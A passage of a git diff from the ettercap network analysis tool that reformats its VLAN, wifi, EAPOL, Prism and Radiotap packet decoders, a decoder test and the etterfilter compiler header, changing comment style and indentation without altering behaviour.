ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,10 +25,9 @@ /* globals */ -struct vlan_header -{ - u_int16 vlan; /* vlan identifier */ - u_int16 proto; /* packet type ID field */ +struct vlan_header { + u_int16 vlan; /* vlan identifier */ + u_int16 proto; /* packet type ID field */ }; /* protos */ @@ -48,31 +47,28 @@ void __init vlan_init(void) add_decoder(NET_LAYER, LL_TYPE_VLAN, decode_vlan); } - FUNC_DECODER(decode_vlan) { FUNC_DECODER_PTR(next_decoder); struct vlan_header *vlan; DECODED_LEN = sizeof(struct vlan_header); - + vlan = (struct vlan_header *)DECODE_DATA; /* HOOK POINT : HOOK_PACKET_VLAN */ hook_point(HOOK_PACKET_VLAN, po); po->L2.len += sizeof(struct vlan_header); - - /* leave the control to the next decoder */ + + /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(vlan->proto)); EXECUTE_DECODER(next_decoder); - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_wifi.c b/src/protocols/ec_wifi.c index 2befee441..50f93d18a 100644 --- a/src/protocols/ec_wifi.c +++ b/src/protocols/ec_wifi.c @@ -1,23 +1,23 @@ /* - ettercap -- 802.11b (wifi) decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- 802.11b (wifi) decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -29,21 +29,20 @@ #include #include - /* globals */ struct __attribute__ ((__packed__)) wifi_header { - u_int8 type; - #define WIFI_DATA 0x08 - #define WIFI_BACON 0x80 - #define WIFI_ACK 0xd4 - u_int8 control; - #define WIFI_STA_TO_STA 0x00 /* ad hoc mode */ - #define WIFI_STA_TO_AP 0x01 - #define WIFI_AP_TO_STA 0x02 - #define WIFI_AP_TO_AP 0x03 - #define WIFI_ENCRYPTED 0x40 - u_int16 duration; + u_int8 type; +#define WIFI_DATA 0x08 +#define WIFI_BACON 0x80 +#define WIFI_ACK 0xd4 + u_int8 control; +#define WIFI_STA_TO_STA 0x00 /* ad hoc mode */ +#define WIFI_STA_TO_AP 0x01 +#define WIFI_AP_TO_STA 0x02 +#define WIFI_AP_TO_AP 0x03 +#define WIFI_ENCRYPTED 0x40 + u_int16 duration; /* * the following three fields has different meanings * depending on the control value... argh !! @@ -66,10 +65,10 @@ struct __attribute__ ((__packed__)) wifi_header { * ha2 -> bssid * ha3 -> src */ - u_int8 ha1[ETH_ADDR_LEN]; - u_int8 ha2[ETH_ADDR_LEN]; - u_int8 ha3[ETH_ADDR_LEN]; - u_int16 seq; + u_int8 ha1[ETH_ADDR_LEN]; + u_int8 ha2[ETH_ADDR_LEN]; + u_int8 ha3[ETH_ADDR_LEN]; + u_int16 seq; /* this field is present only if control is WIFI_AP_TO_AP */ /* u_int8 ha4[ETH_ADDR_LEN]; */ /* this field is present only when WIFI_DATA and WIFI_BACON are set (802.11 QoS Data) */ @@ -77,18 +76,15 @@ struct __attribute__ ((__packed__)) wifi_header { }; struct __attribute__ ((__packed__)) llc_header { - u_int8 dsap; - u_int8 ssap; - u_int8 control; - u_int8 org_code[3]; - u_int16 proto; + u_int8 dsap; + u_int8 ssap; + u_int8 control; + u_int8 org_code[3]; + u_int16 proto; }; - - /* encapsulated ethernet */ -static u_int8 WIFI_ORG_CODE[3] = {0x00, 0x00, 0x00}; - +static u_int8 WIFI_ORG_CODE[3] = { 0x00, 0x00, 0x00 }; /* protos */ @@ -96,7 +92,6 @@ FUNC_DECODER(decode_wifi); FUNC_ALIGNER(align_wifi); void wifi_init(void); - /*******************************************/ /* @@ -110,7 +105,6 @@ void __init wifi_init(void) add_aligner(IL_TYPE_WIFI, align_wifi); } - FUNC_DECODER(decode_wifi) { struct wifi_header *wifi = NULL; @@ -144,38 +138,38 @@ FUNC_DECODER(decode_wifi) */ switch (wifi->control & 0x03) { - case WIFI_STA_TO_STA: - memcpy(PACKET->L2.src, wifi->ha2, ETH_ADDR_LEN); - memcpy(PACKET->L2.dst, wifi->ha1, ETH_ADDR_LEN); - break; - - case WIFI_STA_TO_AP: - memcpy(PACKET->L2.src, wifi->ha2, ETH_ADDR_LEN); - memcpy(PACKET->L2.dst, wifi->ha3, ETH_ADDR_LEN); - break; - - case WIFI_AP_TO_STA: - memcpy(PACKET->L2.src, wifi->ha3, ETH_ADDR_LEN); - memcpy(PACKET->L2.dst, wifi->ha1, ETH_ADDR_LEN); - break; - - case WIFI_AP_TO_AP: - /* there is one more field (ha4) in this case */ - memcpy(PACKET->L2.src, (char *)(wifi + 1), ETH_ADDR_LEN); - memcpy(PACKET->L2.dst, wifi->ha3, ETH_ADDR_LEN); - - if (wifi->control & WIFI_ENCRYPTED) { - // XXX - implement AP to AP handling in encryption_ccmp - DEBUG_MSG("WIFI: encrypted packets (AP to AP) not supported"); - return NULL; - } - /* increase the end of the header accordingly */ - wifi_end += ETH_ADDR_LEN; - DECODED_LEN += ETH_ADDR_LEN; - break; - - default: + case WIFI_STA_TO_STA: + memcpy(PACKET->L2.src, wifi->ha2, ETH_ADDR_LEN); + memcpy(PACKET->L2.dst, wifi->ha1, ETH_ADDR_LEN); + break; + + case WIFI_STA_TO_AP: + memcpy(PACKET->L2.src, wifi->ha2, ETH_ADDR_LEN); + memcpy(PACKET->L2.dst, wifi->ha3, ETH_ADDR_LEN); + break; + + case WIFI_AP_TO_STA: + memcpy(PACKET->L2.src, wifi->ha3, ETH_ADDR_LEN); + memcpy(PACKET->L2.dst, wifi->ha1, ETH_ADDR_LEN); + break; + + case WIFI_AP_TO_AP: + /* there is one more field (ha4) in this case */ + memcpy(PACKET->L2.src, (char *)(wifi + 1), ETH_ADDR_LEN); + memcpy(PACKET->L2.dst, wifi->ha3, ETH_ADDR_LEN); + + if (wifi->control & WIFI_ENCRYPTED) { + // XXX - implement AP to AP handling in encryption_ccmp + DEBUG_MSG("WIFI: encrypted packets (AP to AP) not supported"); return NULL; + } + /* increase the end of the header accordingly */ + wifi_end += ETH_ADDR_LEN; + DECODED_LEN += ETH_ADDR_LEN; + break; + + default: + return NULL; } /* @@ -250,7 +244,7 @@ FUNC_DECODER(decode_wifi) } if ((DECODE_DATALEN - DECODED_LEN) > UINT16_MAX) { - return NULL; + return NULL; } /* decrypt the packet */ @@ -303,10 +297,9 @@ FUNC_DECODER(decode_wifi) FUNC_ALIGNER(align_wifi) { /* already aligned */ - return (32 - sizeof(struct wifi_header) - sizeof(struct llc_header)); + return 32 - sizeof(struct wifi_header) - sizeof(struct llc_header); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_wifi_eapol.c b/src/protocols/ec_wifi_eapol.c index 392a8d9c2..446770530 100644 --- a/src/protocols/ec_wifi_eapol.c +++ b/src/protocols/ec_wifi_eapol.c @@ -1,23 +1,23 @@ /* - ettercap -- EAP On Line 802.1x authentication packets for wifi - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- EAP On Line 802.1x authentication packets for wifi + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -52,7 +52,6 @@ void __init eapol_init(void) add_decoder(NET_LAYER, LL_TYPE_8021x, decode_eapol); } - FUNC_DECODER(decode_eapol) { struct eapol_header *eapol; @@ -65,8 +64,8 @@ FUNC_DECODER(decode_eapol) char tmp[512]; /* don't complain about unused var */ - (void) DECODE_DATALEN; - + (void)DECODE_DATALEN; + /* analyze these only if we have a wpa key */ if (GBL_WIFI->wifi_schema != WIFI_WPA) return NULL; @@ -106,7 +105,8 @@ FUNC_DECODER(decode_eapol) if (message == EAPOL_4WAY_MESSAGE_GROUP) { memcpy(sta, PACKET->L2.dst, ETH_ADDR_LEN); memcpy(bssid, PACKET->L2.src, ETH_ADDR_LEN); - } if (message % 2) { + } + if (message % 2) { memcpy(sta, PACKET->L2.dst, ETH_ADDR_LEN); memcpy(bssid, PACKET->L2.src, ETH_ADDR_LEN); } else { @@ -133,123 +133,120 @@ FUNC_DECODER(decode_eapol) return NULL; } - USER_MSG("EAPOL packet: [%s] 4-way handshake %d [%s]\n", sta_address, message, (algo == WPA_KEY_TKIP) ? "TKIP (WPA)" : "CCMP (WPA2)"); switch (message) { - case EAPOL_4WAY_MESSAGE_ONE: - /* - * On reception of Message 1, the Supplicant determines whether the Key Replay Counter field value has been - * used before with the current PMKSA. If the Key Replay Counter field value is less than or equal to the current - * local value, the Supplicant discards the message. - */ + case EAPOL_4WAY_MESSAGE_ONE: + /* + * On reception of Message 1, the Supplicant determines whether the Key Replay Counter field value has been + * used before with the current PMKSA. If the Key Replay Counter field value is less than or equal to the current + * local value, the Supplicant discards the message. + */ + + /* save ANonce (from authenticator) to derive the PTK with the SNonce (from the 2 message) */ + memcpy(sa.ANonce, eapol_key->key_nonce, WPA_NONCE_LEN); - /* save ANonce (from authenticator) to derive the PTK with the SNonce (from the 2 message) */ - memcpy(sa.ANonce, eapol_key->key_nonce, WPA_NONCE_LEN); + DEBUG_MSG("WPA ANonce : %s", str_tohex(sa.ANonce, WPA_NONCE_LEN, tmp, sizeof(tmp))); - DEBUG_MSG("WPA ANonce : %s", str_tohex(sa.ANonce, WPA_NONCE_LEN, tmp, sizeof(tmp))); + /* get the Key Descriptor Version (to select algorithm used in decryption -CCMP or TKIP-) */ + sa.algo = algo; - /* get the Key Descriptor Version (to select algorithm used in decryption -CCMP or TKIP-) */ - sa.algo = algo; + /* remember the state of the 4-way handshake */ + sa.state = EAPOL_4WAY_MESSAGE_ONE; - /* remember the state of the 4-way handshake */ - sa.state = EAPOL_4WAY_MESSAGE_ONE; + /* save the status of the SA, overwrite it if it was an old one */ + wpa_sess_add(sta, &sa); - /* save the status of the SA, overwrite it if it was an old one */ - wpa_sess_add(sta, &sa); + break; + case EAPOL_4WAY_MESSAGE_TWO: + /* retrieve the session for this STA and check that the sate is consistent */ + if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_ONE) break; - case EAPOL_4WAY_MESSAGE_TWO: - /* retrieve the session for this STA and check that the sate is consistent */ - if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_ONE) - break; + /* + * On reception of Message 2, the Authenticator checks that the key replay counter corresponds to the + * outstanding Message 1. If not, it silently discards the message. + * If the calculated MIC does not match the MIC that the Supplicant included in the EAPOL-Key frame, + * the Authenticator silently discards Message 2. + */ + memcpy(sa.SNonce, eapol_key->key_nonce, WPA_NONCE_LEN); - /* - * On reception of Message 2, the Authenticator checks that the key replay counter corresponds to the - * outstanding Message 1. If not, it silently discards the message. - * If the calculated MIC does not match the MIC that the Supplicant included in the EAPOL-Key frame, - * the Authenticator silently discards Message 2. - */ - memcpy(sa.SNonce, eapol_key->key_nonce, WPA_NONCE_LEN); + DEBUG_MSG("WPA SNonce : %s", str_tohex(sa.SNonce, WPA_NONCE_LEN, tmp, sizeof(tmp))); - DEBUG_MSG("WPA SNonce : %s", str_tohex(sa.SNonce, WPA_NONCE_LEN, tmp, sizeof(tmp))); + /* derive the PTK from the BSSID, STA MAC, PMK (WPA-PSK), SNonce, ANonce */ + wpa_generate_PTK(bssid, sta, GBL_WIFI->wkey, sa.SNonce, sa.ANonce, (sa.algo == WPA_KEY_TKIP) ? 512 : 384, sa.ptk); - /* derive the PTK from the BSSID, STA MAC, PMK (WPA-PSK), SNonce, ANonce */ - wpa_generate_PTK(bssid, sta, GBL_WIFI->wkey, sa.SNonce, sa.ANonce, (sa.algo == WPA_KEY_TKIP) ? 512 : 384, sa.ptk); + DEBUG_MSG("WPA PTK : %s", str_tohex(sa.ptk, WPA_PTK_LEN, tmp, sizeof(tmp))); - DEBUG_MSG("WPA PTK : %s", str_tohex(sa.ptk, WPA_PTK_LEN, tmp, sizeof(tmp))); + /* verify the MIC (compare the MIC in the packet included in this message with a MIC calculated with the PTK) */ + if (wpa_check_MIC(eapol, eapol_key, DECODED_LEN, sa.ptk, sa.algo) != E_SUCCESS) { + USER_MSG("WPA MIC does not match\n"); + break; + } - /* verify the MIC (compare the MIC in the packet included in this message with a MIC calculated with the PTK) */ - if (wpa_check_MIC(eapol, eapol_key, DECODED_LEN, sa.ptk, sa.algo) != E_SUCCESS) { - USER_MSG("WPA MIC does not match\n"); - break; - } + DEBUG_MSG("WPA MIC : %s", str_tohex(eapol_key->key_MIC, WPA_MICKEY_LEN, tmp, sizeof(tmp))); - DEBUG_MSG("WPA MIC : %s", str_tohex(eapol_key->key_MIC, WPA_MICKEY_LEN, tmp, sizeof(tmp))); + /* remember the state of the 4-way handshake */ + sa.state = EAPOL_4WAY_MESSAGE_TWO; - /* remember the state of the 4-way handshake */ - sa.state = EAPOL_4WAY_MESSAGE_TWO; + /* save the status of the SA, overwrite it if it was an old one */ + wpa_sess_add(sta, &sa); - /* save the status of the SA, overwrite it if it was an old one */ - wpa_sess_add(sta, &sa); + break; + case EAPOL_4WAY_MESSAGE_THREE: + /* retrieve the session for this STA and check that the sate is consistent */ + if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_TWO) break; - case EAPOL_4WAY_MESSAGE_THREE: - /* retrieve the session for this STA and check that the sate is consistent */ - if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_TWO) - break; - - /* - * On reception of Message 3, the Supplicant silently discards the message if the Key Replay Counter field - * value has already been used or if the ANonce value in Message 3 differs from the ANonce value in Message 1 - * If using WPA2 PSK, message 3 will contain an RSN for the group key (GTK KDE). - * In order to properly support decrypting WPA2-PSK packets, we need to parse this to get the group key. - */ - rsn_ie = (struct rsn_ie_header *)(eapol_key + 1); + /* + * On reception of Message 3, the Supplicant silently discards the message if the Key Replay Counter field + * value has already been used or if the ANonce value in Message 3 differs from the ANonce value in Message 1 + * If using WPA2 PSK, message 3 will contain an RSN for the group key (GTK KDE). + * In order to properly support decrypting WPA2-PSK packets, we need to parse this to get the group key. + */ + rsn_ie = (struct rsn_ie_header *)(eapol_key + 1); - wpa_decrypt_broadcast_key(eapol_key, rsn_ie, &sa); + wpa_decrypt_broadcast_key(eapol_key, rsn_ie, &sa); - /* remember the state of the 4-way handshake */ - sa.state = EAPOL_4WAY_MESSAGE_THREE; + /* remember the state of the 4-way handshake */ + sa.state = EAPOL_4WAY_MESSAGE_THREE; - /* save the status of the SA, overwrite it if it was an old one */ - wpa_sess_add(sta, &sa); + /* save the status of the SA, overwrite it if it was an old one */ + wpa_sess_add(sta, &sa); - break; + break; - case EAPOL_4WAY_MESSAGE_FOUR: - /* retrieve the session for this STA and check that the sate is consistent */ - if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_THREE) - break; + case EAPOL_4WAY_MESSAGE_FOUR: + /* retrieve the session for this STA and check that the sate is consistent */ + if (wpa_sess_get(sta, &sa) != E_SUCCESS || sa.state != EAPOL_4WAY_MESSAGE_THREE) + break; - /* - * On reception of Message 4, the Authenticator verifies that the Key Replay Counter field value is one - * that it used on this 4-Way Handshake; if it is not, it silently discards the message. - * If the calculated MIC does not match the MIC that the Supplicant included in the EAPOL-Key frame, the - * Authenticator silently discards Message 4. - */ + /* + * On reception of Message 4, the Authenticator verifies that the Key Replay Counter field value is one + * that it used on this 4-Way Handshake; if it is not, it silently discards the message. + * If the calculated MIC does not match the MIC that the Supplicant included in the EAPOL-Key frame, the + * Authenticator silently discards Message 4. + */ - /* we are done ! just copy the decryption key from PTK */ - memcpy(sa.decryption_key, sa.ptk + 32, WPA_DEC_KEY_LEN); + /* we are done ! just copy the decryption key from PTK */ + memcpy(sa.decryption_key, sa.ptk + 32, WPA_DEC_KEY_LEN); - USER_MSG("WPA KEY : %s\n", str_tohex(sa.decryption_key, WPA_DEC_KEY_LEN, tmp, sizeof(tmp))); + USER_MSG("WPA KEY : %s\n", str_tohex(sa.decryption_key, WPA_DEC_KEY_LEN, tmp, sizeof(tmp))); - /* remember the state of the 4-way handshake */ - sa.state = EAPOL_4WAY_MESSAGE_FOUR; + /* remember the state of the 4-way handshake */ + sa.state = EAPOL_4WAY_MESSAGE_FOUR; - /* save the status of the SA, overwrite it if it was an old one */ - wpa_sess_add(sta, &sa); + /* save the status of the SA, overwrite it if it was an old one */ + wpa_sess_add(sta, &sa); - break; + break; } - return NULL; } - static int eapol_4way_handshake(struct eapol_key_header *eapol_key) { u_int16 key_info = ntohs(eapol_key->key_info); @@ -264,7 +261,8 @@ static int eapol_4way_handshake(struct eapol_key_header *eapol_key) /* Group Key (Sec=0, Mic=0, Ack=1) */ if ((key_info & WPA_KEY_SECURE) == 0 && (key_info & WPA_KEY_MIC) == 0 && - (key_info & WPA_KEY_ACK) != 0) { + (key_info & WPA_KEY_ACK) != 0) + { return EAPOL_4WAY_MESSAGE_GROUP; } return -E_NOTHANDLED; @@ -292,9 +290,9 @@ static int eapol_4way_handshake(struct eapol_key_header *eapol_key) * TKIP: Authenticator->Supplicant (Sec=0, Mic=1, Ack=1, Inst=1, Key=1(pairwise), KeyRSC=???, Nonce=ANonce, MIC=1) */ if ( /* ((key_info & WPA_KEY_TKIP) || (key_info & WPA_KEY_SECURE) != 0) && */ - (key_info & WPA_KEY_MIC) != 0 && - (key_info & WPA_KEY_ACK) != 0 && - (key_info & WPA_KEY_INSTALL) != 0) + (key_info & WPA_KEY_MIC) != 0 && + (key_info & WPA_KEY_ACK) != 0 && + (key_info & WPA_KEY_INSTALL) != 0) return EAPOL_4WAY_MESSAGE_THREE; /* message 4: @@ -303,10 +301,10 @@ static int eapol_4way_handshake(struct eapol_key_header *eapol_key) * to distinguish between message 2 and 4, check the len of the key_data_len (should be == 0) */ if (/* ((key_info & WPA_KEY_TKIP) || (key_info & WPA_KEY_SECURE) != 0) && */ - (key_info & WPA_KEY_MIC) != 0 && - (key_info & WPA_KEY_ACK) == 0 && - (key_info & WPA_KEY_INSTALL) == 0 && - eapol_key->key_data_len == 0) + (key_info & WPA_KEY_MIC) != 0 && + (key_info & WPA_KEY_ACK) == 0 && + (key_info & WPA_KEY_INSTALL) == 0 && + eapol_key->key_data_len == 0) return EAPOL_4WAY_MESSAGE_FOUR; /* invalid packet */ @@ -329,4 +327,3 @@ static int eapol_enc_algo(struct eapol_key_header *eapol_key) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_wifi_prism.c b/src/protocols/ec_wifi_prism.c index e6057a71d..d92be37a6 100644 --- a/src/protocols/ec_wifi_prism.c +++ b/src/protocols/ec_wifi_prism.c @@ -1,23 +1,23 @@ /* - ettercap -- Prism2 header for WiFi packets - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- Prism2 header for WiFi packets + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -42,7 +42,6 @@ void __init prism_init(void) add_aligner(IL_TYPE_PRISM, align_prism); } - FUNC_DECODER(decode_prism) { FUNC_DECODER_PTR(next_decoder); @@ -50,8 +49,8 @@ FUNC_DECODER(decode_prism) /* Simply skip the first 0x90 Bytes (the Prism2 header) and pass * the whole packet on to the wifi layer */ DECODED_LEN = 0x90; - - next_decoder = get_decoder(LINK_LAYER, IL_TYPE_WIFI); + + next_decoder = get_decoder(LINK_LAYER, IL_TYPE_WIFI); EXECUTE_DECODER(next_decoder); return NULL; @@ -69,4 +68,3 @@ FUNC_ALIGNER(align_prism) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_wifi_radiotap.c b/src/protocols/ec_wifi_radiotap.c index 2291ae589..515bd45ec 100644 --- a/src/protocols/ec_wifi_radiotap.c +++ b/src/protocols/ec_wifi_radiotap.c @@ -1,37 +1,37 @@ /* - ettercap -- RadioTap header for WiFi packets - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- RadioTap header for WiFi packets + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include struct radiotap_header { - u_int8 version; - u_int8 pad; + u_int8 version; + u_int8 pad; u_int16 len; u_int32 present_flags; - #define RADIO_PRESENT_TSFT 0x01 - #define RADIO_PRESENT_FLAGS 0x02 - #define RADIO_PRESENT_RATE 0x04 - #define RADIO_PRESENT_CHANNEL 0x08 +#define RADIO_PRESENT_TSFT 0x01 +#define RADIO_PRESENT_FLAGS 0x02 +#define RADIO_PRESENT_RATE 0x04 +#define RADIO_PRESENT_CHANNEL 0x08 }; #define RADIO_FLAGS_FCS 0x10 @@ -55,7 +55,6 @@ void __init radiotap_init(void) add_aligner(IL_TYPE_RADIO, align_radiotap); } - FUNC_DECODER(decode_radiotap) { FUNC_DECODER_PTR(next_decoder); @@ -71,23 +70,23 @@ FUNC_DECODER(decode_radiotap) DECODED_LEN = radio->len; /* - * scan for the presence of the information - * we are lucky since the FLAGS we are searching is the second field - * and we don't have to scan for all of them - */ + * scan for the presence of the information + * we are lucky since the FLAGS we are searching is the second field + * and we don't have to scan for all of them + */ if ((radio->present_flags & RADIO_PRESENT_TSFT)) { - /* the TSFT is 1 byte */ - rh += 1; + /* the TSFT is 1 byte */ + rh += 1; } if ((radio->present_flags & RADIO_PRESENT_FLAGS)) { - /* read the flags (1 byte) */ - flags = *rh; + /* read the flags (1 byte) */ + flags = *rh; } /* mark the packet, since we have an FCS at the end */ if ((flags & RADIO_FLAGS_FCS)) - PACKET->L2.flags |= PO_L2_FCS; + PACKET->L2.flags |= PO_L2_FCS; next_decoder = get_decoder(LINK_LAYER, IL_TYPE_WIFI); EXECUTE_DECODER(next_decoder); @@ -107,4 +106,3 @@ FUNC_ALIGNER(align_radiotap) /* EOF */ // vim:ts=3:expandtab - diff --git a/tests/test_ec_decode.c b/tests/test_ec_decode.c index 8cb07560a..944b93fa2 100644 --- a/tests/test_ec_decode.c +++ b/tests/test_ec_decode.c @@ -7,49 +7,46 @@ // Yes, this is hack-ish. We can change it later. -START_TEST (test_get_decoder_default) +START_TEST(test_get_decoder_default) { - fail_if(get_decoder(APP_LAYER, PL_DEFAULT) == NULL, "Could not find default decoder."); + fail_if(get_decoder(APP_LAYER, PL_DEFAULT) == NULL, "Could not find default decoder."); } -END_TEST - -START_TEST (test_get_decoder_ip) +END_TEST START_TEST(test_get_decoder_ip) { - fail_if(get_decoder(NET_LAYER, LL_TYPE_IP) == NULL, "Could not find IP decoder."); + fail_if(get_decoder(NET_LAYER, LL_TYPE_IP) == NULL, "Could not find IP decoder."); } -END_TEST -START_TEST (test_get_decoder_tcp) +END_TEST START_TEST(test_get_decoder_tcp) { - fail_if(get_decoder(PROTO_LAYER, NL_TYPE_TCP) == NULL, "Could not find TCP decoder."); + fail_if(get_decoder(PROTO_LAYER, NL_TYPE_TCP) == NULL, "Could not find TCP decoder."); } -END_TEST -START_TEST (test_get_decoder_udp) +END_TEST START_TEST(test_get_decoder_udp) { - fail_if(get_decoder(PROTO_LAYER, NL_TYPE_UDP) == NULL, "Could not find UDP decoder."); + fail_if(get_decoder(PROTO_LAYER, NL_TYPE_UDP) == NULL, "Could not find UDP decoder."); } + END_TEST -Suite* ts_test_decode (void) { - Suite *suite = suite_create("ts_test_decode"); - TCase *tcase = tcase_create("get_decoder"); - tcase_add_test(tcase, test_get_decoder_default); - tcase_add_test(tcase, test_get_decoder_ip); - tcase_add_test(tcase, test_get_decoder_tcp); - tcase_add_test(tcase, test_get_decoder_udp); - suite_add_tcase(suite, tcase); - return suite; +Suite *ts_test_decode(void) +{ + Suite *suite = suite_create("ts_test_decode"); + TCase *tcase = tcase_create("get_decoder"); + tcase_add_test(tcase, test_get_decoder_default); + tcase_add_test(tcase, test_get_decoder_ip); + tcase_add_test(tcase, test_get_decoder_tcp); + tcase_add_test(tcase, test_get_decoder_udp); + suite_add_tcase(suite, tcase); + return suite; } -int main () { - int number_failed; - Suite *suite = ts_test_decode(); - SRunner *runner = srunner_create(suite); - srunner_run_all(runner, CK_VERBOSE); - number_failed = srunner_ntests_failed(runner); - srunner_free(runner); - return number_failed; +int main() +{ + int number_failed; + Suite *suite = ts_test_decode(); + SRunner *runner = srunner_create(suite); + srunner_run_all(runner, CK_VERBOSE); + number_failed = srunner_ntests_failed(runner); + srunner_free(runner); + return number_failed; } - - diff --git a/utils/etterfilter/ef_compiler.c b/utils/etterfilter/ef_compiler.c index ddb73bd30..b1d349f7e 100644 --- a/utils/etterfilter/ef_compiler.c +++ b/utils/etterfilter/ef_compiler.c @@ -1,30 +1,30 @@ /* - etterfilter -- the actual compiler - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterfilter -- the actual compiler + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 